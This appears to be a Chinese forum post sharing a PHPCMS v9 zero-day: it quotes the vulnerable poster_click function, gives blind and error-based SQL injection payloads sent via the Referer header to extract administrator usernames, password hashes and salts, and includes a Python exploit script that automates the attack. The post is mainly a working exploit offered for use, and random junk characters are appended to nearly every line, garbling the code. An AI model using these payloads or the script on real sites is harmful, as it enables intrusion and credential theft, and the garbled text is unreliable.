有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:, H1 U& v2 T8 J! z+ m. U) W; ?
- [) M# U3 p: U: `4 q0 D) ^/ B
问题函数\phpcms\modules\poster\index.php
5 S7 U+ e" C) l: R' _; O: E$ f. J* L( B6 n, x
public function poster_click() {
{ n3 n2 z2 H, p- M0 y$id = isset($_GET['id']) ? intval($_GET['id']) : 0;4 q A8 n% M! z; y! ?- A0 m+ T
$r = $this->db->get_one(array('id'=>$id));: f/ N! q, }' h% x& o5 e! [' A
if (!is_array($r) && empty($r)) return false;4 \- {+ T" S3 X0 A) i
$ip_area = pc_base::load_sys_class('ip_area');4 D5 c9 b. T& S; Y, n; r. `
$ip = ip();: g, j& w* O3 l; s6 c# n) M( Z
$area = $ip_area->get($ip);: z8 r* N5 l! U% ^3 z) \! n
$username = param::get_cookie('username') ? param::get_cookie('username') : '';4 t) O/ T3 k; r+ ]! Z: u/ \* R
if($id) {
& y0 \3 s3 U* ^2 ?: T3 D: `) y5 ]0 e$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
4 ^9 U0 x; x# h0 U$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));& O. ~$ R4 \- i5 Y( V1 a4 p/ a W
}
* P( `/ }# Q. `8 M$this->db->update(array('clicks'=>'+=1'), array('id'=>$id)); l0 I1 A4 u2 k# ~ S
$setting = string2array($r['setting']);8 r# R4 t$ b9 j
if (count($setting)==1) {, b0 o- H4 _) g' t$ {, s4 M
$url = $setting['1']['linkurl'];
) F3 }& O& r6 J7 G; F} else {
J: @ e X. q9 y* C* q6 p$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
) ]' T6 ?/ u" N3 K}
/ l @9 e& ?+ D5 ~2 t1 ?$ n& M" e- \header('Location: '.$url);" n$ Q, {" B' `8 P. g
}# s; o, w& g T3 n) g& A- B4 U
8 s, v3 s% ?, K
% x# J- D: \/ |3 w& C8 R- W' G' D: Q: I
利用方式:
, j+ f/ v. \! N% r4 Y
& F6 A# x9 B4 d1 Q: H6 s1、可以采用盲注入的手法:
: x* C9 P" w: j+ d' D* [
$ h& b% x" `) l# f# g7 Rreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#+ c+ W3 w5 E2 y+ x3 Y* x0 m- S
h! n/ k$ K7 b' B0 D
通过返回页面,正常与否一个个猜解密码字段。
! ?3 D3 g+ V1 _3 I
0 r$ i3 u/ }8 A2 ^" l: h1 Y2、代码是花开写的,随手附上了:% p1 r3 o% Y+ d
6 z# R' w( ~% B3 y1 M$ q8 h
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#8 a' z4 `" ^) z6 _
. T7 y. ]: z8 ^6 l8 E
此方法是爆错注入手法,原理自查。3 {0 a/ t' h7 Z4 i( e, |1 C R! d4 B
2 b) D* R, ]- l' t - z f8 w2 X% e5 o' B) _
5 D; [+ _* _$ ? i2 @
利用程序:( N' P& N& o4 P) i* \4 \
4 g" q% k, e- T. d" I
#!/usr/bin/env python
' K$ F- j! [0 Mimport httplib,sys,re
* ~9 w' V: V ], I5 B; G) ^4 l ^! B* H4 X! `
def attack():
3 d& A. b( A) F1 C1 xprint “Code by Pax.Mac Team conqu3r!”* A0 b" u/ r; I+ F% G1 O/ s
print “Welcome to our zone!!!”" N; \; d5 c3 A4 B, g$ l
url=sys.argv[1]
( \" P& v$ B* @/ r _( k' q* wpaths=sys.argv[2]; v; A5 Y4 z, _/ [( p1 x, t- W
conn = httplib.HTTPConnection(url)
" V) h& n' s% {# V5 k! vi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
0 g4 Q% P3 ^0 c, I“Accept”: “text/plain”,
1 _) I" r/ W+ X3 ] T( O0 E“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
8 ?9 t1 ?3 S5 o/ c" v+ b8 Dconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
# U5 I4 I: x7 F% n6 X. M( \r1 = conn.getresponse() \, h6 l* {% `
datas=r1.read()
9 {/ l4 q% O. c+ ]8 Udatas=re.findall(r”Duplicate entry \’\w+’”, datas)
. w7 e7 @0 S$ W& `print datas[0]
! V: z! I1 s* I( ~& c% Jconn.close()
# Y, D8 w6 z& b$ d- `if __name__==”__main__”:
8 Q# L9 p( X! n) A0 z" h- Yif len(sys.argv)<3:# t& b7 h+ b& N2 i, j
print “Code by Pax.Mac Team conqu3r”% `6 s" d: N# S# A( O7 h) E. }
print “Usgae:”1 u3 A, U% @( k3 d: h
print “ phpcmsattack.py www.paxmac.org /”
: R- ?( Y8 q+ |/ N! V3 v/ k- F9 pprint “ phpcmsataack.py www.paxmac.org /phpcmsv9/”; ~6 o( w2 c! a7 b/ x7 S: v
sys.exit(1)- f/ ` F0 p' s) L1 z Z a
attack()
; i: J5 Q# f! @$ T- I6 E6 F+ h' }0 r8 X( U+ I
|